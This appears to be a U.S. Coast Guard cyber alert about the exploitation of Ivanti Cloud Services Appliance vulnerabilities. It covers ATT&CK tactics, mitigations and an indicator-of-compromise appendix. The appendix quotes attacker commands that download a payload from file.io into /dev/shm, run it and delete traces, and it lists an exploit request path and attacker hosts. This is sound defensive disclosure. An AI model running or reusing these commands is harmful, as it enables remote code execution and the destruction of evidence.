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Exploitation of Vulnerabilities in Ivanti Cloud Services Appliance (CSA)

Summary:

Marine Transportation System (MTS) entities using Ivanti Cloud Service Appliances (CSA) are vulnerable to known Common Vulnerabilities and Exposures (CVEs): CVE-2024-8963, CVE-2024-9379, CVE-2024-8190, and CVE-2024-9380. These CVEs allow attackers to gain initial access, conduct remote code execution, obtain credentials, and implant webshells on victim networks.

Background:

The Ivanti CSA is an internet appliance that allows users to securely manage devices over the internet. It connects devices, regardless of if they are behind firewalls or are using a proxy. The vulnerabilities were discovered and reported by Ivanti in September and October 2024 after zero-day exploitation. The impact of these vulnerabilities is considerable, as Ivanti serves more than 35,000 customers and is a leader in Information Technology (IT) software.

Several verified instances of exploitation leverage the vulnerabilities, involving two distinct exploit chains with unique sequences of events. The first chain combines administrative bypass (CVE-2024-8963) with remote code executions (CVE-2024-8190, and CVE-2024-9380). The second combines administrative bypass (CVE-2024-8963) with Structured Query Language (SQL) injection (CVE-2024-9379).

A joint Cybersecurity and Information Security Agency (CISA) and Federal Bureau of Investigation (FBI) advisory, published on January 22, 2025, urges companies to take immediate action to protect themselves from potential threats. Specifically, companies are advised to

upgrade to the latest Ivanti CSA version, scan for malicious activity, assume there has been a compromise, review logs, and respond to incidents as necessary.¹

Targeted Applications & Systems

CVE-2024-8963, CVE-2024-9379, CVE-2024-8190, and CVE-2024-9380 affect Ivanti CSA version 4.6x versions before patch 519.² Two of the vulnerabilities (CVE-2024-9379 and CVE-2024-9380) affect Ivanti CSA versions 5.0.1 and below.³

Furthermore, Ivanti CSA 4.6 is End-of-Life (EOL), and is therefore no longer receiving patches.⁴ Network administrators should upgrade to the latest supported version.

Threat Actor Tactics:

Below are the tactics referenced by MITRE ATT&CK® techniques, which are linked to these attacks (https://attack.mitre.org/techniques/enterprise).

- T1595.002: Active Scanning: Vulnerability Scanning
 - o Threat actors used Obelisk and GoGo to scan for vulnerabilities while performing reconnaissance.
- T1190: Exploit Public Facing Application
 - Threat actors compromised network device protocols and performed SQL injections by leveraging application weaknesses.
- T1059: Command and Scripting Interpreter
 - Attackers executed commands and scripts by abusing command script interpreters.
- T1556: Modify Authentication Process
 - o Attackers gained access to networks by executing authentication bypass.
- T1505.003: Server Software Component: Web Shell
 - o Threat actors implanted webshells to establish persistence.
- T1068: Exploitation for Privilege Escalation
 - Attackers gained access via an outdated version of a server that contained vulnerabilities.
- T1564.002: Hide Artifacts: Hidden Users
 - o Attackers disguise themselves as hidden users.
- T1140: Deobfuscate/Decode Files or Information

¹ "Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications" January 22, 2025. <u>Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications | CISA</u>

² "Security Advisory Ivanti CSA 4.6 (Cloud Services Appliance) (CVE-2024-8963)" September 19, 2024. <u>Security Advisory Ivanti CSA 4.6 (Cloud Services Appliance) (CVE-2024-8963)</u>

³ "Security Advisory Ivanti CSA (Cloud Services Application) (CVE-2024-9379, CVE-2024-9380, CVE-2024-9381)" October 21, 2024. Security Advisory Ivanti CSA (Cloud Services Application) (CVE-2024-9379, CVE-2024-9380, CVE-2024-9381)

⁴ "Security Advisory Ivanti Cloud Service Appliance (CSA) (CVE-2024-8190)" September 16, 2024. <u>Security Advisory Ivanti Cloud Service Appliance (CSA) (CVE-2024-8190)</u>

• Threat actors utilized native tools in the backup file to decrypt credentials before exfiltrating the file.

• T1548.003: Abuse Elevation Control Mechanism: Sudo and Sudo Caching

- o Threat actors disabled vulnerabilities, removed malicious code, and removed evidence of exploitation using sudo commands.
- T1552.001: Unsecured Credentials: Credentials in File
 - o Attackers harvested encrypted admin credentials.
- T1210: Exploitation of Remote Services
 - Threat actors leveraged programming errors, EOL systems, and operating systems to exploit CSAs via remote services to gain access to organizations' networks.
- T1219: Remote Access Software
 - o Attackers attempted to authenticate to victim networks remotely and execute commands on the CSA.
- T1071.001: Application Layer: Web Protocol
 - Threat actors acquired session and cross-site request forgery tokens using GET or POST requests.
- TA0010: Exfiltration
 - o Attackers exfiltrated encrypted data including admin credentials for future use.

Mitigation Measures:

The recommended mitigating strategies below may be used by MTS entities to decrease a threat actor's opportunity for exploitation.

- Upgrade to the latest supported version of Ivanti CSA immediately
- Utilize endpoint and detection response (EDR) on the system
 - o This will alert network defenders of possible malicious activity.
- Implement application controls such as allowlisting remote access programs
 - This will block unlisted application execution in the event antivirus solutions fail to detect executables using compression, encryption, or obfuscation.
- Strictly limit the use of remote desktop protocol (RDP) and other remote desktop services
 - If RDP is necessary: audit the network for systems using RDP, close unused RDP ports, enforce lockouts after multiple attempts, apply multifactor authentication (MFA), and log RDP login attempts.
- Require User Account Control (UAC) approval for any PsExec operations that require administrator privileges
 - This can be configured in the Windows Registry and will reduce the risk of lateral movement using PsExec.
- Continue following best cybersecurity practices including phishing-resistant MFA

Resources:

If your organization has any questions related to this alert, please contact the U.S. Coast Guard at: maritimecyber@uscg.mil, or for immediate assistance call the Coast Guard Cyber Command 24x7 Watch at 202-372-2904.

Appendix A: IOCs

Ivanti CSA Credential Theft Address IOCs

File Name	IP Address
"/client/index.php%3f.php/gsb/datetime.php	142.171.217[.]195
"/client/index.php%3f.php/gsb/datetime.php	154.64.226[.]166
"/client/index.php%3f.php/gsb/datetime.php	216.131.75[.]53
"/client/index.php%3f.php/gsb/datetime.php	23.236.66[.]97
"/client/index.php%3f.php/gsb/datetime.php	38.207.159[.]76

Ivanti CSA Additional IOCs

File Name	hxxps://file.io/E50vtqmJP5aa	
File Name	hxxps://file.io/RBKuU8gicWt	
File Name	hxxps://file.io/frdZ9L18R7Nx	
File Name	hxxp://ip.sb	
File Name	hxxps://pan.xj.hk/d/6401646e701f5f47518ecef48a308a36/redis	
IPv4	149.154.167[.]41	
IPv4	95.161.76[.]100	
IPv4	142.171.217[.]195	
IPv4	108.174.199[.]200	
IPv4	206.189.156[.]69	
IPv4	108.174.199[.]200/Xa27efd2.tmp	
IPv4	142.171.217[.]195	
IPv4	107.173.89[.]16	
IPv4	38.207.159[.]76	
IPv4	142.171.217[.]195	
IPv4	154.64.226[.]166	
IPv4	156.234.193[.]18	
IPv4	216.131.75[.]53	
IPv4	205.169.39[.]11	
IPv4	23.236.66[.]97	
IPv4	149.154.176[.]41	
IPv4	95.161.76[.]100	
IPv4	142.171.217[.]195	
IPv4	108.174.199[.]200	
IPv4	206.189.156[.]69	
IPv4	142.171.217[.]195	
IPv4	67.217.228[.]83	
IPv4	203.160.72[.]174	
IPv4	142.11.217[.]3	
IPv4	104.168.133[.]228	
IPv4	64.176.49[.]160	
IPv4	45.141.215[.]17	
IPv4	142.171.217[.]195	
IPv4	98.101.25[.]30	
IPv4	216.131.75[.]53	
IPv4	134.195.90[.]71	
IPv4	23.236.66[.]97	
IPv4	142.171.217[.]195	
IPv4	107.173.89[.]16	

IPv4	192.42.116[.]210
IPv4	82.197.182[,]161
IPv4	154.213.185[.]230
IPv4	216.131.75[.]53
IPv4	23.236.66[.]97
IPv4	208.105.190[.]170
IPv4	136.144.17[.]145
IPv4	136.144.17[.]143
IPv4	216.73.162[.]56
IPv4	104.28.240[.]123
IPv4	163.5.171[.]49
IPv4	89.187.178[.]179
IPv4	163.5.171[.]49
IPv4	203.160.86[,]69
IPv4	185.220.69[.]83
IPv4	185.199.103[.]196
IPv4	188.172.229[.]15
IPv4	155.138.215[.]144
IPv4	64.176.49[.]160
IPv4	185.40.4[.]38
IPv4	216.131[.]75.53
IPv4	185.40.4[.]95
Hash	a50660fb31df96b3328640fdfbeea755
Hash	53c5b7d124f13039eb62409e1ec2089d
Hash	698a752ec1ca43237cb1dc791700afde
Hash	aa69300617faab4eb39b789ebfeb5abe
Hash	c2becc553b96ba27d60265d07ec3bd6c
Hash	cacc30e2a5b2683e19e45dc4f191cebc
Hash	061e5946c9595e560d64d5a8c65be49e
Hash	e35cf026057a3729387b7ecfb213ae
Hash	c7d20ca6fe596009afaeb725fec8635f
Hash	F7F81AE880A17975F60E1E0FE1A4048B
Hash	86B62FFD33597FD635E01B95F08BB996
Hash	DD975310201079CACD4CDE6FACAB8C1D
Hash	1B20E9310CA815F9E2BD366FB94E147F
Hash	30f57e14596f1bcad7cc4284d1af4684
Hash	62a611f0f1a418876b11c9df3b56885bed
URL	hxxps://file.io/E50vtqmJP5aa
URL	hxxps://file.io/RBKuU8gicWt
URL	hxxps://file.io/frdZ9L18R7Nx
URL	hxxp://ip.sb
URL	hxxps://pan.xj.hk/d/ 6401646e701f5f47518ecef48a308a36/redis
URL	108.174.199.200/Xa27efd2.tmp
URL	45.33.101.53/log
URL	45.33.101.53/log2
URL	208.184.237.75/fdsupdate
URL	173.243.138.76/fdsupdate
URL	cri07nnrg958pkh6qhk0977u8c83jog6t.oast[.]fun
URL	cri07nnrg958pkh6qhk0yrgy1e76p1od6.oast[.]fun
domain	gg.oyr2ohrm.eyes[.]sh
domain	ggg.oyr2ohrm.eyes[.]sh
domain	gggg.oyr2ohrm.eyes[.]sh
domain	txt.xj[.]hk
	V = 2

domain	book.hacktricks[.]xyz
Host	sh -c setsid /dev/shm/redis &
Host	sh -c curl -k https://file[.]io/1zqvMYY1dpkk -o
	/dev/shm/redis2
Host	sh -c mv /dev/shm/redis2 /dev/shm/redis
Host	sh -c rm /dev/shm/*
Host	rm /dev/shm/PostgreSQL.1014868572 /dev/shm/redis
Host	78cc672218949a9ec87407ad3bcb5db6
Host	d13f71e51b38ffef6b9dc8efbed27615
Host	d88bfac2b43509abdc70308bef75e2a6
Host	R.exe (MD5: 60d5648d35bacf5c7aa713b2a0d267d3)
Host	ae51c891d2e895b5ca919d14edd42c26
Host	d88bfac2b43509abdc70308bef75e2a6
Host	f82847bccb621e6822a3947bc9ce9621
Host	c894f55c8fa9d92e2dd2c78172cff745
Host	MD5: Unknown
Host	MD5: Unknown
Host	MD5: Unknown
CrowdStrike Falcon	e09fef2f502a41c199046219a6584e8d
/var/secure log	nobody: user NOT in sudoers; TTY=unknown;
	PWD=/opt/landesk/broker/webroot/gsb; USER=root; COMMAND=/bin/ln-
	sf
/var/secure log	nobody: user NOT in sudoers; TTY=unknown;
	PWD=/opt/landesk/broker/webroot/gsb; USER=root; COMMAND=/bin/mv
	/tmp/php.ini /etc/php.ini
/var/secure log	nobody: user NOT in sudoers; TTY=unknown;
	PWD=/opt/landesk/broker/webroot/gsb; USER=root;
	COMMAND=/sbin/hwclocklocaltimesystohc
/var/secure log	nobody: user NOT in sudoers; TTY=unknown;
	PWD=/opt/landesk/broker/webroot/gsb; USER=root;
	COMMAND=/subin/backuptoolfullList

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